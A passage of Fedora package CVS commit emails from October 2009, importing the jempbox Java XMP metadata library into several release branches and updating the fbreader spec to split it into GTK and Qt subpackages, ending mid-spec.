+++ .cvsignore	18 Oct 2009 01:51:31 -0000	1.2
@@ -0,0 +1 @@
+jempbox-0.8.0-incubating-src.jar


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jempbox/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:44:56 -0000	1.1
+++ sources	18 Oct 2009 01:51:32 -0000	1.2
@@ -0,0 +1 @@
+b15d0837cc25b47bbdb0e2a49b8c6b65  jempbox-0.8.0-incubating-src.jar



From orion at fedoraproject.org  Sun Oct 18 01:52:47 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Sun, 18 Oct 2009 01:52:47 +0000 (UTC)
Subject: rpms/jempbox/F-12 import.log, NONE, 1.1 jempbox-0.8.0-local.patch, 
	NONE, 1.1 jempbox.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091018015247.7C4BA11C00EC@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/jempbox/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15858/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log jempbox-0.8.0-local.patch jempbox.spec 
Log Message:
Initial import


--- NEW FILE import.log ---
jempbox-0_8_0-6_fc12:F-12:jempbox-0.8.0-6.fc12.src.rpm:1255830730

jempbox-0.8.0-local.patch:
 build.xml |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE jempbox-0.8.0-local.patch ---
--- jempbox-0.8.0-incubating/build.xml.local	2009-03-26 18:01:50.000000000 -0600
+++ jempbox-0.8.0-incubating/build.xml	2009-10-05 16:44:37.998478685 -0600
@@ -136,7 +136,7 @@
                debug="on" deprecation="on"/>
     </target>
 
-    <target name="junit" depends="compile,get.junit"
+    <target name="junit" depends="compile"
             description="run junit tests">
         <mkdir dir="${test.classes.dir}"/>
         <javac srcdir="${test.dir}" destdir="${test.classes.dir}"
@@ -153,7 +153,7 @@
         </junit>
     </target>
 
-    <target name="checkstyle" depends="compile,get.checkstyle">
+    <target name="checkstyle" depends="compile">
         <!-- This doesn't work when run from netbeans for some reason -->
         <taskdef name="checkstyle"
                  classname="com.puppycrawl.tools.checkstyle.CheckStyleTask"


--- NEW FILE jempbox.spec ---
%global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}

Name:           jempbox
Version:        0.8.0
Release:        6%{?dist}
Summary:        Java library for working with XMP metadata

Group:          Development/Libraries
License:        ASL 2.0
URL:            http://incubator.apache.org/pdfbox/
Source0:        http://www.apache.org/dist/incubator/pdfbox/%{name}/source/%{name}-%{version}-incubating-src.jar
#Disable downloading of required jars
Patch0:         %{name}-0.8.0-local.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant-junit

%if %{with_gcj}
BuildRequires:    java-gcj-compat-devel >= 1.0.31
Requires(post):   java-gcj-compat >= 1.0.31
Requires(postun): java-gcj-compat >= 1.0.31
%else
BuildArch:      noarch
%endif

Requires:       jpackage-utils
Requires:       java

%description
Apache JempBox is an open source Java library for working with XMP metadata.


%package javadoc
Summary:        Javadocs for %{name}
Group:          Development Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils

%description javadoc
This package contains the API documentation for %{name}.


%prep
%setup -q -n %{name}-%{version}-incubating
%patch0 -p1 -b .local
find -name '*.class' -exec rm -f '{}' \;
find -name '*.jar' -exec rm -f '{}' \;
#Fix line endings
find -name '*.txt' -exec sed -i 's/\r//' '{}' +


%build
ant package javadoc


%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p target/%{name}-%{version}-incubating.jar \
  $RPM_BUILD_ROOT%{_javadir}/
ln -s %{name}-%{version}-incubating.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
ln -s %{name}-%{version}-incubating.jar $RPM_BUILD_ROOT%{_javadir}/%{name}.jar

mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}
cp -rp website/build/site/javadoc \
$RPM_BUILD_ROOT%{_javadocdir}/%{name}

%if %{with_gcj}
%{_bindir}/aot-compile-rpm
%endif


%clean
rm -rf $RPM_BUILD_ROOT


%post
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif

%postun
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif


%files
%defattr(-,root,root,-)
%doc LICENSE.txt NOTICE.txt README.txt RELEASE-NOTES.txt
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{name}-%{version}-incubating.jar
%if %{with_gcj}
%attr(-,root,root) %{_libdir}/gcj/%{name}
%endif

%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}


%changelog
* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-6
- Add javadoc subpackage

* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-5
- Reverse symbolic links

* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-4
- Fix jar naming and add symbolic links

* Wed Oct 14 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-3
- Add comment for patch
- Fix line endings
- Add GCJ support

* Mon Oct 12 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-2
- Fix BuildRequires

* Mon Oct 5 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-1
- Initial Fedora Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/jempbox/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:44:56 -0000	1.1
+++ .cvsignore	18 Oct 2009 01:52:45 -0000	1.2
@@ -0,0 +1 @@
+jempbox-0.8.0-incubating-src.jar


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jempbox/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:44:56 -0000	1.1
+++ sources	18 Oct 2009 01:52:45 -0000	1.2
@@ -0,0 +1 @@
+b15d0837cc25b47bbdb0e2a49b8c6b65  jempbox-0.8.0-incubating-src.jar



From orion at fedoraproject.org  Sun Oct 18 01:54:56 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Sun, 18 Oct 2009 01:54:56 +0000 (UTC)
Subject: rpms/jempbox/F-11 import.log, NONE, 1.1 jempbox-0.8.0-local.patch, 
	NONE, 1.1 jempbox.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091018015456.F133311C00EC@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/jempbox/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16828/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log jempbox-0.8.0-local.patch jempbox.spec 
Log Message:
Initial import


--- NEW FILE import.log ---
jempbox-0_8_0-6_fc12:F-11:jempbox-0.8.0-6.fc12.src.rpm:1255830877

jempbox-0.8.0-local.patch:
 build.xml |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE jempbox-0.8.0-local.patch ---
--- jempbox-0.8.0-incubating/build.xml.local	2009-03-26 18:01:50.000000000 -0600
+++ jempbox-0.8.0-incubating/build.xml	2009-10-05 16:44:37.998478685 -0600
@@ -136,7 +136,7 @@
                debug="on" deprecation="on"/>
     </target>
 
-    <target name="junit" depends="compile,get.junit"
+    <target name="junit" depends="compile"
             description="run junit tests">
         <mkdir dir="${test.classes.dir}"/>
         <javac srcdir="${test.dir}" destdir="${test.classes.dir}"
@@ -153,7 +153,7 @@
         </junit>
     </target>
 
-    <target name="checkstyle" depends="compile,get.checkstyle">
+    <target name="checkstyle" depends="compile">
         <!-- This doesn't work when run from netbeans for some reason -->
         <taskdef name="checkstyle"
                  classname="com.puppycrawl.tools.checkstyle.CheckStyleTask"


--- NEW FILE jempbox.spec ---
%global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}

Name:           jempbox
Version:        0.8.0
Release:        6%{?dist}
Summary:        Java library for working with XMP metadata

Group:          Development/Libraries
License:        ASL 2.0
URL:            http://incubator.apache.org/pdfbox/
Source0:        http://www.apache.org/dist/incubator/pdfbox/%{name}/source/%{name}-%{version}-incubating-src.jar
#Disable downloading of required jars
Patch0:         %{name}-0.8.0-local.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant-junit

%if %{with_gcj}
BuildRequires:    java-gcj-compat-devel >= 1.0.31
Requires(post):   java-gcj-compat >= 1.0.31
Requires(postun): java-gcj-compat >= 1.0.31
%else
BuildArch:      noarch
%endif

Requires:       jpackage-utils
Requires:       java

%description
Apache JempBox is an open source Java library for working with XMP metadata.


%package javadoc
Summary:        Javadocs for %{name}
Group:          Development Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils

%description javadoc
This package contains the API documentation for %{name}.


%prep
%setup -q -n %{name}-%{version}-incubating
%patch0 -p1 -b .local
find -name '*.class' -exec rm -f '{}' \;
find -name '*.jar' -exec rm -f '{}' \;
#Fix line endings
find -name '*.txt' -exec sed -i 's/\r//' '{}' +


%build
ant package javadoc


%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p target/%{name}-%{version}-incubating.jar \
  $RPM_BUILD_ROOT%{_javadir}/
ln -s %{name}-%{version}-incubating.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
ln -s %{name}-%{version}-incubating.jar $RPM_BUILD_ROOT%{_javadir}/%{name}.jar

mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}
cp -rp website/build/site/javadoc \
$RPM_BUILD_ROOT%{_javadocdir}/%{name}

%if %{with_gcj}
%{_bindir}/aot-compile-rpm
%endif


%clean
rm -rf $RPM_BUILD_ROOT


%post
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif

%postun
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif


%files
%defattr(-,root,root,-)
%doc LICENSE.txt NOTICE.txt README.txt RELEASE-NOTES.txt
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{name}-%{version}-incubating.jar
%if %{with_gcj}
%attr(-,root,root) %{_libdir}/gcj/%{name}
%endif

%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}


%changelog
* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-6
- Add javadoc subpackage

* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-5
- Reverse symbolic links

* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-4
- Fix jar naming and add symbolic links

* Wed Oct 14 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-3
- Add comment for patch
- Fix line endings
- Add GCJ support

* Mon Oct 12 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-2
- Fix BuildRequires

* Mon Oct 5 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-1
- Initial Fedora Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/jempbox/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:44:56 -0000	1.1
+++ .cvsignore	18 Oct 2009 01:54:55 -0000	1.2
@@ -0,0 +1 @@
+jempbox-0.8.0-incubating-src.jar


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jempbox/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:44:56 -0000	1.1
+++ sources	18 Oct 2009 01:54:56 -0000	1.2
@@ -0,0 +1 @@
+b15d0837cc25b47bbdb0e2a49b8c6b65  jempbox-0.8.0-incubating-src.jar



From orion at fedoraproject.org  Sun Oct 18 01:55:36 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Sun, 18 Oct 2009 01:55:36 +0000 (UTC)
Subject: rpms/jempbox/F-10 import.log, NONE, 1.1 jempbox-0.8.0-local.patch, 
	NONE, 1.1 jempbox.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091018015536.38B5211C00EC@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/jempbox/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17437/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log jempbox-0.8.0-local.patch jempbox.spec 
Log Message:
Initial import


--- NEW FILE import.log ---
jempbox-0_8_0-6_fc12:F-10:jempbox-0.8.0-6.fc12.src.rpm:1255830921

jempbox-0.8.0-local.patch:
 build.xml |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE jempbox-0.8.0-local.patch ---
--- jempbox-0.8.0-incubating/build.xml.local	2009-03-26 18:01:50.000000000 -0600
+++ jempbox-0.8.0-incubating/build.xml	2009-10-05 16:44:37.998478685 -0600
@@ -136,7 +136,7 @@
                debug="on" deprecation="on"/>
     </target>
 
-    <target name="junit" depends="compile,get.junit"
+    <target name="junit" depends="compile"
             description="run junit tests">
         <mkdir dir="${test.classes.dir}"/>
         <javac srcdir="${test.dir}" destdir="${test.classes.dir}"
@@ -153,7 +153,7 @@
         </junit>
     </target>
 
-    <target name="checkstyle" depends="compile,get.checkstyle">
+    <target name="checkstyle" depends="compile">
         <!-- This doesn't work when run from netbeans for some reason -->
         <taskdef name="checkstyle"
                  classname="com.puppycrawl.tools.checkstyle.CheckStyleTask"


--- NEW FILE jempbox.spec ---
%global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}

Name:           jempbox
Version:        0.8.0
Release:        6%{?dist}
Summary:        Java library for working with XMP metadata

Group:          Development/Libraries
License:        ASL 2.0
URL:            http://incubator.apache.org/pdfbox/
Source0:        http://www.apache.org/dist/incubator/pdfbox/%{name}/source/%{name}-%{version}-incubating-src.jar
#Disable downloading of required jars
Patch0:         %{name}-0.8.0-local.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant-junit

%if %{with_gcj}
BuildRequires:    java-gcj-compat-devel >= 1.0.31
Requires(post):   java-gcj-compat >= 1.0.31
Requires(postun): java-gcj-compat >= 1.0.31
%else
BuildArch:      noarch
%endif

Requires:       jpackage-utils
Requires:       java

%description
Apache JempBox is an open source Java library for working with XMP metadata.


%package javadoc
Summary:        Javadocs for %{name}
Group:          Development Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils

%description javadoc
This package contains the API documentation for %{name}.


%prep
%setup -q -n %{name}-%{version}-incubating
%patch0 -p1 -b .local
find -name '*.class' -exec rm -f '{}' \;
find -name '*.jar' -exec rm -f '{}' \;
#Fix line endings
find -name '*.txt' -exec sed -i 's/\r//' '{}' +


%build
ant package javadoc


%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p target/%{name}-%{version}-incubating.jar \
  $RPM_BUILD_ROOT%{_javadir}/
ln -s %{name}-%{version}-incubating.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
ln -s %{name}-%{version}-incubating.jar $RPM_BUILD_ROOT%{_javadir}/%{name}.jar

mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}
cp -rp website/build/site/javadoc \
$RPM_BUILD_ROOT%{_javadocdir}/%{name}

%if %{with_gcj}
%{_bindir}/aot-compile-rpm
%endif


%clean
rm -rf $RPM_BUILD_ROOT


%post
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif

%postun
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif


%files
%defattr(-,root,root,-)
%doc LICENSE.txt NOTICE.txt README.txt RELEASE-NOTES.txt
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{name}-%{version}-incubating.jar
%if %{with_gcj}
%attr(-,root,root) %{_libdir}/gcj/%{name}
%endif

%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}


%changelog
* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-6
- Add javadoc subpackage

* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-5
- Reverse symbolic links

* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-4
- Fix jar naming and add symbolic links

* Wed Oct 14 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-3
- Add comment for patch
- Fix line endings
- Add GCJ support

* Mon Oct 12 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-2
- Fix BuildRequires

* Mon Oct 5 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-1
- Initial Fedora Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/jempbox/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:44:56 -0000	1.1
+++ .cvsignore	18 Oct 2009 01:55:35 -0000	1.2
@@ -0,0 +1 @@
+jempbox-0.8.0-incubating-src.jar


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jempbox/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:44:56 -0000	1.1
+++ sources	18 Oct 2009 01:55:36 -0000	1.2
@@ -0,0 +1 @@
+b15d0837cc25b47bbdb0e2a49b8c6b65  jempbox-0.8.0-incubating-src.jar



From orion at fedoraproject.org  Sun Oct 18 01:56:06 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Sun, 18 Oct 2009 01:56:06 +0000 (UTC)
Subject: rpms/jempbox/EL-5 import.log, NONE, 1.1 jempbox-0.8.0-local.patch, 
	NONE, 1.1 jempbox.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091018015606.E8E5611C00EC@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/jempbox/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17761/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log jempbox-0.8.0-local.patch jempbox.spec 
Log Message:
Initial import


--- NEW FILE import.log ---
jempbox-0_8_0-6_fc12:EL-5:jempbox-0.8.0-6.fc12.src.rpm:1255830957

jempbox-0.8.0-local.patch:
 build.xml |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE jempbox-0.8.0-local.patch ---
--- jempbox-0.8.0-incubating/build.xml.local	2009-03-26 18:01:50.000000000 -0600
+++ jempbox-0.8.0-incubating/build.xml	2009-10-05 16:44:37.998478685 -0600
@@ -136,7 +136,7 @@
                debug="on" deprecation="on"/>
     </target>
 
-    <target name="junit" depends="compile,get.junit"
+    <target name="junit" depends="compile"
             description="run junit tests">
         <mkdir dir="${test.classes.dir}"/>
         <javac srcdir="${test.dir}" destdir="${test.classes.dir}"
@@ -153,7 +153,7 @@
         </junit>
     </target>
 
-    <target name="checkstyle" depends="compile,get.checkstyle">
+    <target name="checkstyle" depends="compile">
         <!-- This doesn't work when run from netbeans for some reason -->
         <taskdef name="checkstyle"
                  classname="com.puppycrawl.tools.checkstyle.CheckStyleTask"


--- NEW FILE jempbox.spec ---
%global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}

Name:           jempbox
Version:        0.8.0
Release:        6%{?dist}
Summary:        Java library for working with XMP metadata

Group:          Development/Libraries
License:        ASL 2.0
URL:            http://incubator.apache.org/pdfbox/
Source0:        http://www.apache.org/dist/incubator/pdfbox/%{name}/source/%{name}-%{version}-incubating-src.jar
#Disable downloading of required jars
Patch0:         %{name}-0.8.0-local.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant-junit

%if %{with_gcj}
BuildRequires:    java-gcj-compat-devel >= 1.0.31
Requires(post):   java-gcj-compat >= 1.0.31
Requires(postun): java-gcj-compat >= 1.0.31
%else
BuildArch:      noarch
%endif

Requires:       jpackage-utils
Requires:       java

%description
Apache JempBox is an open source Java library for working with XMP metadata.


%package javadoc
Summary:        Javadocs for %{name}
Group:          Development Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils

%description javadoc
This package contains the API documentation for %{name}.


%prep
%setup -q -n %{name}-%{version}-incubating
%patch0 -p1 -b .local
find -name '*.class' -exec rm -f '{}' \;
find -name '*.jar' -exec rm -f '{}' \;
#Fix line endings
find -name '*.txt' -exec sed -i 's/\r//' '{}' +


%build
ant package javadoc


%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p target/%{name}-%{version}-incubating.jar \
  $RPM_BUILD_ROOT%{_javadir}/
ln -s %{name}-%{version}-incubating.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
ln -s %{name}-%{version}-incubating.jar $RPM_BUILD_ROOT%{_javadir}/%{name}.jar

mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}
cp -rp website/build/site/javadoc \
$RPM_BUILD_ROOT%{_javadocdir}/%{name}

%if %{with_gcj}
%{_bindir}/aot-compile-rpm
%endif


%clean
rm -rf $RPM_BUILD_ROOT


%post
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif

%postun
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif


%files
%defattr(-,root,root,-)
%doc LICENSE.txt NOTICE.txt README.txt RELEASE-NOTES.txt
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{name}-%{version}-incubating.jar
%if %{with_gcj}
%attr(-,root,root) %{_libdir}/gcj/%{name}
%endif

%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}


%changelog
* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-6
- Add javadoc subpackage

* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-5
- Reverse symbolic links

* Thu Oct 15 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-4
- Fix jar naming and add symbolic links

* Wed Oct 14 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-3
- Add comment for patch
- Fix line endings
- Add GCJ support

* Mon Oct 12 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-2
- Fix BuildRequires

* Mon Oct 5 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.0-1
- Initial Fedora Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/jempbox/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:44:56 -0000	1.1
+++ .cvsignore	18 Oct 2009 01:56:06 -0000	1.2
@@ -0,0 +1 @@
+jempbox-0.8.0-incubating-src.jar


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jempbox/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:44:56 -0000	1.1
+++ sources	18 Oct 2009 01:56:06 -0000	1.2
@@ -0,0 +1 @@
+b15d0837cc25b47bbdb0e2a49b8c6b65  jempbox-0.8.0-incubating-src.jar



From salimma at fedoraproject.org  Sun Oct 18 02:21:56 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sun, 18 Oct 2009 02:21:56 +0000 (UTC)
Subject: rpms/fbreader/F-10 README.Fedora,1.3,1.4 fbreader.spec,1.16,1.17
Message-ID: <20091018022156.73A1911C00EC@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/fbreader/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26096/F-10

Modified Files:
	fbreader.spec 
Added Files:
	README.Fedora 
Log Message:
* Sat Oct 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-4
- Provide virtual packages for each available interface
- Use alternatives to select the user interface (see README.Fedora)



Index: README.Fedora
===================================================================
RCS file: README.Fedora
diff -N README.Fedora
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ README.Fedora	18 Oct 2009 02:21:56 -0000	1.4
@@ -0,0 +1,27 @@
+README for Fedora
+-----------------
+
+The previously-monolithic FBReader package has now been split into
+separate subpackages:
+
+- fbreader: The ebook reader
+- zlibrary: Cross-platform GUI library 
+- zlibrary-ui-gtk: GTK+ interface for zlibrary
+- zlibrary-ui-qt:  Qt interface for zlibrary
+
+Two convenience packages are provided:
+- fbreader-gtk: installs fbreader and zlibrary-ui-gtk
+- fbreader-qt:  installs fbreader and zlibrary-ui-qt
+
+'yum install fbreader' does not guarantee which interface gets picked;
+install fbreader-gtk or -qt instead.
+
+If both -gtk and -qt interfaces are installed, by default
+the Gtk+ interface is used. To change the interface you want to use,
+do as root:
+
+# alternatives --config zlibrary-ui
+
+to reset the choice to the default, use
+
+# alternatives --auto zlibrary-ui


Index: fbreader.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fbreader/F-10/fbreader.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- fbreader.spec	31 Mar 2009 23:07:22 -0000	1.16
+++ fbreader.spec	18 Oct 2009 02:21:56 -0000	1.17
@@ -1,13 +1,13 @@
-# rebuild with --with qt4 to build optional qt4 UI
 Name:           fbreader
 Version:        0.10.7
-Release:        1%{?dist}
+Release:        4%{?dist}
 Summary:        E-book reader
 
 Group:          Applications/Publishing
 License:        GPLv2+
 URL:            http://www.fbreader.org/
 Source0:        http://www.fbreader.org/fbreader-sources-%{version}.tgz
+Source1:        README.Fedora
 Patch0:         fbreader-0.10.0-desktop-file.patch
 Patch1:         fbreader-optflags.patch
 # Use to expose the compiler flags used during build
@@ -15,11 +15,11 @@ Patch1:         fbreader-optflags.patch
 Patch3:         fbreader-defaults.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  expat-devel bzip2-devel liblinebreak-static
+BuildRequires:  expat-devel bzip2-devel liblinebreak-devel
 BuildRequires:  gtk2-devel fribidi-devel libcurl-devel
 BuildRequires:  libjpeg-devel desktop-file-utils
-%{?_with_qt4:BuildRequires: qt4-devel}
-#Requires:       
+BuildRequires:  qt4-devel
+
 
 %description
 FBReader is an e-book reader, with the following main features:
@@ -46,6 +46,80 @@ FBReader is an e-book reader, with the f
 * Screen rotation by 90, 180 and 270 degrees.
 
 
+%package        gtk
+Summary:        E-book reader (GTK+ interface)
+Group:          Applications/Publishing
+Requires:       %{name} = %{version}-%{release}
+Requires:       zlibrary-ui-gtk = %{version}-%{release}
+
+%description    gtk
+A virtual package that bundles both the FBreader e-book reader and its
+GTK+ user interface.
+
+
+%package        qt
+Summary:        E-book reader (Qt interface)
+Group:          Applications/Publishing
+Requires:       %{name} = %{version}-%{release}
+Requires:       zlibrary-ui-qt = %{version}-%{release}
+
+%description    qt
+A virtual package that bundles both the FBreader e-book reader and its
+Qt4 user interface.
+
+
+%package -n     zlibrary
+Summary:        Cross-platform GUI library
+Group:          System Environment/Libraries
+Requires:       zlibrary-ui = %{version}-%{release}
+
+%description -n zlibrary
+ZLibrary is a cross-platform library to build applications running on
+desktop Linux, Windows, and different Linux-based PDAs.
+
+
+%package -n     zlibrary-devel
+Summary:        Development files for zlibrary
+Group:          Development/Libraries
+Requires:       zlibrary = %{version}-%{release}
+
+%description -n zlibrary-devel
+This package contains the libraries amd header files that are needed
+for writing applications with Zlibrary.
+
+
+%package -n     zlibrary-ui-gtk
+Summary:        GTK+ interface module for ZLibrary
+Group:          System Environment/Libraries
+Provides:       zlibrary-ui = %{version}-%{release}
+
+Requires(posttrans): /usr/sbin/alternatives
+Requires(postun):    /usr/sbin/alternatives
+
+%description -n zlibrary-ui-gtk
+ZLibrary is a cross-platform library to build applications running on
+desktop Linux, Windows, and different Linux-based PDAs.
+
+This package provides a GTK+-based UI for ZLibrary.
+
+
+%package -n     zlibrary-ui-qt
+Summary:        Qt4 interface module for ZLibrary
+Group:          System Environment/Libraries
+Provides:       zlibrary-ui = %{version}-%{release}
+Provides:       zlibrary-ui-qt4 = %{version}-%{release}
+Obsoletes:      zlibrary-ui-qt4 < %{version}-%{release}
+
+Requires(posttrans): /usr/sbin/alternatives
+Requires(postun):    /usr/sbin/alternatives
+
+%description -n zlibrary-ui-qt
+ZLibrary is a cross-platform library to build applications running on
